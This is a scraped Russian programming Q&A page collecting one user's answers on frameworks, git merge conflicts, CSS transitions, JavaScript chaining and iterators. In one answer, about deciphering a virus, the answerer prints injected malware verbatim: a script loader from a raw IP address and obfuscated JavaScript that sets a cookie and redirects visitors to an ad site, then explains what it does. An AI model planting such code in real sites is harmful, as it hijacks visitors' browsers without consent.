Задать вопрос
  • Зачем нужен Yii и другие подобные фремворки?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Фреймворк - каркас. Дословный перевод который в общем хорошо отражает суть. Это какая-то структура которой придерживается приложение.

    В основе любой системы лежит какой-то каркас. Структура, способ организации кода, хоть какой-то. Берете класс маршрутизации (который связывает запрос и код, который должен выполниться для обработки оного), класс для работы с базой, менеджер конфигураций... и как-то так выходит что у вас уже есть фреймворк.

    В основе любой CMS есть фреймворк. Даже в том же wordpress. Это внутреннее API этой CMS на основе которого она построена.

    Сложность и уровень фреймворка определяет уровень абстракции которые он вводит. Если приводить пример - Symfony2 и все та же отправка почты. Отправка почты сама по себе относительно жирная операция. То есть из 200 милисекунд обработки запроса, 100 из них может занимать отправка почты. То есть пользователь получит страницу позже. В Symfony2 реализован слой абстракций над запросами ответами и потому, есть полный контроль за всем потоком данных. Фреймворку не составляет труда узнать когда мы закончили обрабатывать основной запрос. Так же у PHP (в зависимости от SAPI) есть возможность сказать серверу что "мы закончили обрабатывать запрос, можно отдавать его пользователю" и делать что-то еще. В результате мы можем вместо отправки писемь, помещать из в очередь и отправлять только после того как запрос ушел пользователю получая улучшение отзывчивости системы.

    Важно заметить, что код приложения вообще никак не отличается. Если у нас внезапно не будет хватать мощностей серверов и у нас узким местом будут как раз таки такие вот отложенные операции - можно безболезненно, без внесения изменений в бизнес логику и основной код приложения, добавлять все в очередь на другом серваке и там все обрабатывать. Таким образом мы можем вносить изменения в систему максимально быстро без ущерба качеству.

    Если мне нужен блогообразный сайт, то я возьму вордпрес и перепишу и допишу недостающий функционал в итоге создание сайта на wp займет в разы меньше времени, чем на фреймворке.

    А вот тут не всегда так. Как минимум потому, что время реализации функционала под wordpress на базе его внутреннего фреймворка может занять у вас значительно больше времени, чем написать все на популярном нормальном фреймворке, не оптимизированном на конкретное решение + дописать блог.
    Ответ написан
    Комментировать
  • Верно ли сформулировано определение конфликта в git?

    Формальный (потенциальный) конфликт в Git в контексте слияния веток - ситуация, возникающая при создании коммита слияния (merge commit), когда один и тот же файл (один или более) имеет различное состояние в снимках (snapshots) сливаемых веток. Такие конфликты можно классифицировать на разрешаемые автоматически и не разрешаемые автоматически.

    Конфликт, разрешаемый автоматически - формальный конфликт, при котором Git может самостоятельно сформировать снимок для коммита слияния путём применения алгоритма слияния (например, трёхстороннего слияния) согласно выбранной стратегии слияния к каждому из конфликтующих файлов.

    Конфликт, не разрешамый автоматически - формальный конфликт, при котором Git не может самостоятельно сформировать снимок для коммита слияния. Обычно именно такие автоматически неразрешаемые конфликты и называют просто конфликтами. В таком случае для формирования снимка требуется ручное вмешательство (что и называется "разрешением конфликтов" в бытовом смысле).
    Ответ написан
    Комментировать
  • Почему translate срабатывает сразу?

    rockon404
    @rockon404
    Frontend Developer
    transition работает когда вы изменяете свойство. На примере с hover:
    .class {
      color: red;
      transform: translateY(-100%);
      transition: all 1s;
    }
    
    .class:hover {
      color: blue;
      transform: translateY(-50%);
    }

    При наведении курсора мыши на элемент .class, в течении секунды плавно изменится цвет с красного на синий и translateY c -100% на -50%.
    Ответ написан
    5 комментариев
  • Как реализовать filter без jquery?

    padonnak
    @padonnak Автор вопроса
    Решение сам нашел, всем спасибо)
    var tmp = document.implementation.createHTMLDocument();
              tmp.body.innerHTML = str;
              return tmp.body.querySelector('#root');;
    Ответ написан
    Комментировать
  • Как сделать цепную функцию самостоятельно на JS?

    @domoratskii
    Вам нужно каждый раз возвращать текущий объект. Это делается добавлением return this в конце каждого метода.

    var life = {
      day: 0,
      up() {
        this.day++;
        return this;
      },
      down() {
        this.day--;
        return this;
      },
    }
    
    life.up().up()
    console.log(life.day) //2
    Ответ написан
    5 комментариев
  • Как работают уведомления toster'a?

    lidacriss
    @lidacriss
    wtf
    примерно вот так
    $(document).on("click", ".event__checkbox", function () {
            (function (cb) {
                cb.prop("checked") ? cb.closest("@event_item").addClass("events-list__item_checked") : cb.closest("@event_item").removeClass("events-list__item_checked");
                cb.prop("checked") ? cb.closest("@event_checker").attr({title: "Пометить как прочитанное"}) : cb.closest("@event_checker").attr({title: "Пометить как непрочитанное"});
                $.post("tracker/feed_mark_seen_event", {
                    event_id: cb.data("event_id"),
                    state: cb.prop("checked") ? 1 : 0
                }, "json").fail(fail_func)
            })($(this))
        });
    Ответ написан
    1 комментарий
  • Что такое итераторы в python, c#, c++, js? Как их использовать? Для чего они? Читал - пока что не понял их суть?

    @fireSparrow
    Если в двух словах, то итератор - это такой объект, который каждый раз по запросу может выдать либо некоторый элемент, либо сообщение о том, что у него больше нет элементов.

    Самый простой вариант - итератор по списку. Он каждый раз по запросу будет выдавать по одному элементу списка, начиная с первого, и заканчивая последним, после чего выдаст сообщение, что элементы закончились.

    При этом итератор не обязательно выдаёт элементы из заранее существующей коллекции, он может их прямо в момент запроса создавать по определённому правилу. Такие итераторы могут быть и бесконечными, то есть сколько бы запросов они не получили, они всегда готовы выдать ещё и никогда не скажут, что элементы закончились.
    Пример - итератор, который выдаёт 0 или 1, чередуя их.
    Ответ написан
    1 комментарий
  • Какая цель(и) у такого сетевого флуда?

    @Psq
    Информационная безопасность. Пентест.
    Open Redirect уберите на сайте и вы перестанете их интересовать.
    Ответ написан
    Комментировать
  • Как в jQuery сделать действия клика (после события клика)?

    jQuery("при клике сюда").on("click", function(e) {
     e.preventDefault()
      jQuery("кликается данная форма").trigger('click'); 
    });
    Ответ написан
    1 комментарий
  • Вопрос по js,ретурн.Что делает?

    @vantsymbalenko
    как уже дали ответ выше return сделан для того что бы вызывать функцию бесконечное число раз.
    то есть первый раз когда мы вызываем функциюsum() она возвращает нам функциюf которая в свою очередь может быть вызвана или выводить результат если больше не будет использоваться с помощью искуственно добавленого метода f.toString()Если же функция f будет вызвана то когда выполнение дойдет к currentSum += b; она не найдет в своем лексическом окружении currentSum и через[[Scope]] поищет выше то есть в функции sum, там найдет это значение и использует его. После этого вернет саму себя для того чтобы пользователь имел возможность использовать в очередной раз функцию f
    Ответ написан
  • Какие языки применяют для программирования изобретений и устройств?

    saboteur_kiev
    @saboteur_kiev Куратор тега C++
    software engineer
    Любые можно применять.
    Чаще всего в качестве ембеддед операционки используются варианты Линукса, на котором кроме родных c/c++ есть и питон и джаву можно поставить и js и bash и вообще все.

    Редко когда используется что-то эзотерическое - чем дороже устройство, тем проще в него впихнуть нормальный проц с нормальной ОС и не париться с ограничениями.
    Ответ написан
    2 комментария
  • Как запретить явное изменение свойства fullName?

    SPAHI4
    @SPAHI4
    реактовцы - это не девы, а прокидыватели пропсов
    Логичней будет сделать наоборот - задавать отдельно firstName и lastName, а fullName сделать вычисляемым полем.
    И использовать es6 classes.

    class User {
      get fullName() {
        return `${this.firstName} ${this.lastName}`;
      }
    }
    Ответ написан
    Комментировать
  • Что значит param Mixed?

    Exploding
    @Exploding
    wtf?
    Смешанный тип, т.е. может принимать и строку и число и массив.
    Ответ написан
  • Как взять значение с помощью цикла foreach в многомерном массиве, если один из массивов не ассоциативный?

    @BorisKorobkov Куратор тега PHP
    Web developer
    из за того , что начальный массив нумерованный , не могу прописать foreach

    What?!
    Ответ написан
    Комментировать
  • Как расшифровать вирус?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    document.write("<script src=\"http://134.249.116.78/jquery.js\"></script>");

    А там для тебя ещё один квест:
    //def
    var _0x8290=["\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x63\x73\x72\x66\x5F\x75\x69\x64\x73","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x63\x70\x6D\x32\x30\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x6B\x65\x79\x3D\x37\x38\x39\x61\x34\x31\x32\x39\x65\x37\x38\x63\x30\x30\x30\x30\x38\x61\x34\x37\x62\x33\x36\x65\x32\x33\x64\x36\x35\x65\x61\x37"];function _mmm_(_0x1c98x2,_0x1c98x3,_0x1c98x4,_0x1c98x5){var _0x1c98x6= new Date();var _0x1c98x7= new Date();if(_0x1c98x4=== null|| _0x1c98x4=== 0){_0x1c98x4= 3};_0x1c98x7[_0x8290[1]](_0x1c98x6[_0x8290[0]]()+ 3600000* 24* _0x1c98x4);document[_0x8290[2]]= _0x1c98x2+ _0x8290[3]+ escape(_0x1c98x3)+ _0x8290[4]+ _0x1c98x7[_0x8290[5]]()+ ((_0x1c98x5)?_0x8290[6]+ _0x1c98x5:_0x8290[7])}function _nnn_(_0x1c98x9){var _0x1c98xa=document[_0x8290[2]][_0x8290[8]](_0x1c98x9+ _0x8290[3]);var _0x1c98xb=_0x1c98xa+ _0x1c98x9[_0x8290[9]]+ 1;if((!_0x1c98xa) && (_0x1c98x9!= document[_0x8290[2]][_0x8290[10]](0,_0x1c98x9[_0x8290[9]]))){return null};if(_0x1c98xa==  -1){return null};var _0x1c98xc=document[_0x8290[2]][_0x8290[8]](_0x8290[11],_0x1c98xb);if(_0x1c98xc==  -1){_0x1c98xc= document[_0x8290[2]][_0x8290[9]]};return unescape(document[_0x8290[2]][_0x8290[10]](_0x1c98xb,_0x1c98xc))}if(navigator[_0x8290[12]]){if(_nnn_(_0x8290[13])== 1){}else {_mmm_(_0x8290[13],_0x8290[14],_0x8290[14],_0x8290[15]);window[_0x8290[17]][_0x8290[16]]= _0x8290[18]}}


    UPD: вот этот сайт неплохо помогает jsbeautifier.org

    UPD2: он что-то делает с куками и редиректит сюда https://www.cpm20 com/watch?key=789a4129e78c00008a47b36e23d65ea7
    Ответ написан
    4 комментария
  • Каков сценарий использования git для одного разработчика?

    gobananas
    @gobananas
    finishhim.ru
    Делаете ветку master, ветку dev и отдельные ветки под отдельные фичи.
    Делаете 2 сайта - один сам проект (основной) - на него выкатываете master, второй сайт тестовый - на него выкатываете ветку dev. Остальные ветки разрабатываете, сливаете с dev выкатываете на тест, если там всё нормально то dev сливаете с мастером. За ноут просто когда садитесь если мастер новый есть делаете git pull и стягиваете новую версию
    Ответ написан
    11 комментариев